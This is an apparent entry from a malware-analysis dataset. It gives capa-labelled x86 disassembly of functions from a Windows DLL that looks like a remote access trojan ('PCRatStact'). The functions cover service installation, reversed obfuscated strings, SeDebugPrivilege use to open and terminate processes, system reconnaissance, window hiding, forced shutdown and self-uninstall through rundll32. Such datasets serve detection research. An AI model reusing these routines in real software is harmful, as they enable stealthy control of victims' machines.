joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c2a0
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x10016748
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x100175b0
mov eax, dword [esi + 0x78]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
mov dword [esp + 0x1c], 0
call edi
mov ecx, dword [esi + 0x70]
push 0
push ecx
call dword [esi + 0x54]
mov edx, dword [esi + 0x74]
push 0
push edx
call edi
mov eax, dword [esi + 0x7c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x7c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x60]
test eax, eax
je 0x1000c30d
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x64]
test eax, eax
je 0x1000c318
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x68]
test eax, eax
je 0x1000c323
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x6c]
test eax, eax
je 0x1000c32e
push eax
call dword [esi + 0x50]
mov edx, dword [esi + 0x60]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x64]
push eax
call edi
mov ecx, dword [esi + 0x68]
push ecx
call edi
mov edx, dword [esi + 0x6c]
push edx
call edi
mov eax, dword [esi + 0x70]
push eax
call edi
mov ecx, dword [esi + 0x74]
push ecx
call edi
mov edx, dword [esi + 0x7c]
push edx
call edi
mov eax, dword [esi + 0x78]
push eax
call edi
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.10008520
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000c6c0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000c560
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000c708
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000c6e2
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x1000cc00
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x378
lea eax, [esp + 0x118]
push esi
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov cl, byte [esp + 0x11c]
xor edx, edx
xor eax, eax
lea esi, [esp + 0x11c]
test cl, cl
mov dword [esp + 8], edx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 4], eax
je 0x1000ccf7
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
jmp 0x1000cc5b
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x28]
push ecx
push edx
push edx
push edx
push edx
push edx
push esi
call ebx
push 0x410
lea edx, [esp + 0x22c]
push 0x160
push edx
push 0x80
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [esp + 0x338]
push eax
call ebp
lea ecx, [esp + 0x24]
push ecx
call ebp
mov al, byte [esi]
cmp al, 0x41
je 0x1000cce0
cmp al, 0x42
je 0x1000cce0
lea edx, [esp + 0x14]
push 0
lea eax, [esp + 0x20]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000cce0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10015e00
add dword [esp + 0x10], eax
push esi
call ebp
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x1000cc59
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x378
ret

Function at 0x1000cd00
Capabilities:
Get cpu information
Link many functions at runtime
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov esi, eax
mov eax, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 8]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 8]
push edx
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
add esp, 0x10
ret
Function at 0x1000ce60
Capabilities:
Get hostname

Disassembly:
sub esp, 0x464
xor eax, eax
push ebx
mov ebx, dword [esp + 0x470]
push ebp
mov ebp, dword [esp + 0x478]
mov ecx, ebp
push esi
mov edx, ecx
push edi
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x74]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, str.s__secivreS_tESlortnoCtnerruCMETSYS
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x478]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebp
push 0
push ebx
push 1
lea ecx, [esp + 0x94]
push str.Host
push ecx
push SysStringLen
call fcn.10008620
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push ebx
call esi
test eax, eax
jne 0x1000cf21
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_gethostname]
push ebx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x464
ret

Function at 0x1000cf30
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x1001678b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54c
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x50]
rep stosd dword es:[edi], eax
mov ecx, 0x100
lea edi, [esp + 0x154]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1001d104
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x154]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push edx
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 8]
push SysStringLen
call fcn.10009210
lea ecx, [esp + 0x154]
mov dword [esp + 0x55c], 0
push ecx
lea ecx, [esp + 0xc]
call fcn.10009310
mov edx, dword [esp + 0x564]
lea ecx, [esp + 8]
push edx
push str.stubpath
call fcn.10009490
pop edi
pop esi
test eax, eax
jne 0x1000d02e
push str.Active
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp]
call fcn.10009350
lea ecx, [esp]
mov dword [esp + 0x554], 0xffffffff
call fcn.100092b0
mov ecx, dword [esp + 0x54c]
mov dword fs:[0], ecx
add esp, 0x558
ret
Function at 0x1000dbf0
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
cmp ebx, 1
push esi
jne 0x1000dc63
mov esi, str.PCRatStact
mov eax, 0x1001d0f8
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000dc2e
test cl, cl
je 0x1000dc2a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000dc2e
add eax, 2
add esi, 2
test cl, cl
jne 0x1000dc0a
xor eax, eax
jmp 0x1000dc33
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000dc63
push edi
push str.PCRatStact
push ebp
call fcn.100058b0
add esp, 8
mov esi, eax
mov ecx, 0x13
xor eax, eax
mov edi, 0x1001d0f8
rep stosd dword es:[edi], eax
mov ecx, 0x13
mov edi, 0x1001d0f8
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, ebx
mov dword [0x1001cfc8], ebp
dec eax
jne 0x1000dca6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001cfb8], eax
call fcn.10008000
cmp byte [0x1001d103], 4
jne 0x1000dca6
push 0
push 0
push 0x1001d0f8
push 0x1000d710
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
pop esi
pop ebp
mov eax, 1
pop ebx
ret 0xc

Function at 0x1000dcc0
Capabilities:
Delete registry key
Print debug messages

Disassembly:
sub esp, 0x108
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x118]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000dd85
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebp
push 0x1001b860
call ebx
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call ebp
lea ecx, [esp + 0x10]
call fcn.1000b510
push esi
lea ecx, [esp + 0x14]
call fcn.1000bb50
push esi
lea ecx, [esp + 0x14]
call fcn.1000b9a0
push 0x1001b850
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor esi, esi
lea edx, [esp + 0x14]
push edx
push SysStringLen
call edi
test eax, eax
je 0x1000dd73
push 0xc8
call ebp
inc esi
cmp esi, 0x14
jl 0x1000dd54
jmp 0x1000dd7a
push 0x1001b844
call ebx
lea ecx, [esp + 0x10]
call fcn.1000b540
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x108
ret
Function at 0x1000dd90
Capabilities:
Create thread

Disassembly:
mov al, byte [0x1001d103]
push esi
cmp al, 1
je 0x1000dda6
cmp al, 2
je 0x1000dda6
test al, al
jne 0x1000de96
mov esi, dword [esp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x1001cfe8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x1001cfe8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000df00
push 0x1001cfe8
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 0
push 0
push 0x1001cfe8
push 0x1000d600
push 0
push 0
mov dword [0x1001cfdc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x1001cfdc]
test eax, eax
je 0x1000de96
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.1000dea0
push 0
push 0
push 4
call fcn.1000dea0
push 0x1001cfe8
call fcn.10005b10
push 0
push 0
push 0
push 0x1001cfe8
push 0x1000d710
push 0
push 0
mov dword [0x1001cfd8], eax
call fcn.1000f6f0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x38
mov edi, eax
push 0x64
call esi
mov eax, dword [0x1001d0ec]
cmp eax, 3
je 0x1000de70
cmp eax, 1
jne 0x1000de5d
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1001cfd8]
pop edi
cmp eax, 0x120
jne 0x1000de96
push 0x2710
call esi
jmp 0x1000de8d
pop esi
ret

Function at 0x1000e030
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x14]
mov dword [esi], 0x100175b8
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10008520
pop esi
ret

Function at 0x1000e140
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10008550
add esp, 0x2c
ret

Function at 0x1000e350
Capabilities:
Find taskbar

Disassembly:
push 0xffffffffffffffff
push 0x10016828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.100084d0
mov al, byte [esp + 0x1c]
mov dword [esp + 0x10], 0
cmp al, 1
mov dword [esi], 0x100175d8
jne 0x1000e3a8
mov ecx, esi
call fcn.1000e530
mov eax, esi
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 8
cmp al, 2
jne 0x1000e394
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.Shell_TrayWnd
call edi
push 0
push str.Progman
mov dword [esi + 0x14], eax
call edi
lea ecx, [esp + 0x20]
push 1
push ecx
mov ecx, esi
mov dword [esi + 0x18], eax
mov dword [esi + 0x10], 0
mov byte [esp + 0x28], 0x81
call fcn.10008550
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x1000e5a0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
push 1
mov dword [esp + 0x14], ecx
push str.SeDebugPrivilege
call fcn.1000e890
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 8
push str.MoveFileExA
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.ssecorPetanimreT
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ebp, dword [esp + 0x3c]
xor esi, esi
test ebp, ebp
mov ebx, eax
jbe 0x1000e668
mov edx, dword [esp + 0x38]
mov eax, dword [esi + edx]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebp
jb 0x1000e63e
push 0
push str.SeDebugPrivilege
call fcn.1000e890
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x10]
call fcn.1000e530
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 8
Function at 0x1000e6a0
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000e890
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000e704
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x80
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000e853
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000e840
cmp eax, 4
je 0x1000e840
cmp eax, 8
je 0x1000e840
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000e7cb
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000e739
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000e890
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x1000e920
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000e890
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000e890
add esp, 8
ret
Function at 0x1000e9c0
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, ecx
mov eax, dword [ebx + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, eax
mov eax, 0xfe03f81
dec ecx
mul ecx
shr edx, 6
je 0x1000ea0f
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetWindowTextA]
push esi
push edi
xor esi, esi
mov edi, edx
mov edx, dword [ebx + 0x10]
push 0x400
lea eax, [esi + edx + 1]
mov edx, dword [esi + edx + 0x405]
lea ecx, [eax + 4]
push ecx
push edx
call ebp
add esi, 0x408
dec edi
jne 0x1000e9e9
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1000eb20
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x1001b900
call esi
mov edi, dword [esp + 0xc]
push edi
call esi
mov edi, dword [edi]
push 3
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x1000eb70
Capabilities:
Hide graphical window
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x1001b90c
call esi
mov edi, dword [esp + 0xc]
push edi
call esi
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x1000eba0
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x1001b918
call esi
mov edi, dword [esp + 0xc]
push edi
call esi
mov edi, dword [edi]
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x1000ec10
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x104
mov edx, ecx
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
lea esi, [edx + 4]
rep stosd dword es:[edi], eax
mov ecx, 0x41
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [0x1001cfc8]
push 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea ecx, [esp + 0xc]
push str._s.dll
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
cmp eax, 0xffffffff
pop esi
jne 0x1000ec7f
push 0x1001b924
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov al, 2
add esp, 0x104
ret
mov al, 1
add esp, 0x104
ret
Function at 0x1000ec90
Capabilities:
Create process on windows
Delete file
Move file
Print debug messages

Disassembly:
sub esp, 0x464
xor eax, eax
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x41
lea edi, [esp + 0x26c]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x168]
rep stosd dword es:[edi], eax
push 0x1001b41c
call ebx
mov eax, dword [esp + 0x478]
push eax
call ebx
push 0x1001b414
call ebx
lea edi, [esi + 4]
push edi
call ebx
mov ecx, dword [0x1001cfe0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, dword [0x1001cfe4]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1001b978
call ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x168]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x68]
push str._d.bak.dll
push ecx
call ebp
add esp, 0xc
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x68]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edi, [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x26c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x64]
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x168]
push ecx
push str._s_lang.ini
push edx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
xor ebp, ebp
xor esi, esi
lea eax, [esp + 0x64]
push eax
call edi
test eax, eax
jne 0x1000ede8
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jle 0x1000edcf
push 0x1001b95c
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x370]
lea edx, [esp + 0x26c]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x478]
lea eax, [esp + 0x370]
push ecx
push edx
mov esi, 1
push str.rundll32.exe__s_UninstallServer__s
push eax
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x4c], esi
mov word [esp + 0x52], bp
mov dword [esp + 0x54], ebp
mov word [esp + 0x50], si
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
lea eax, [esp + 0x370]
push ecx
push edx
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x47c]
push ecx
push ebp
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x464
ret 8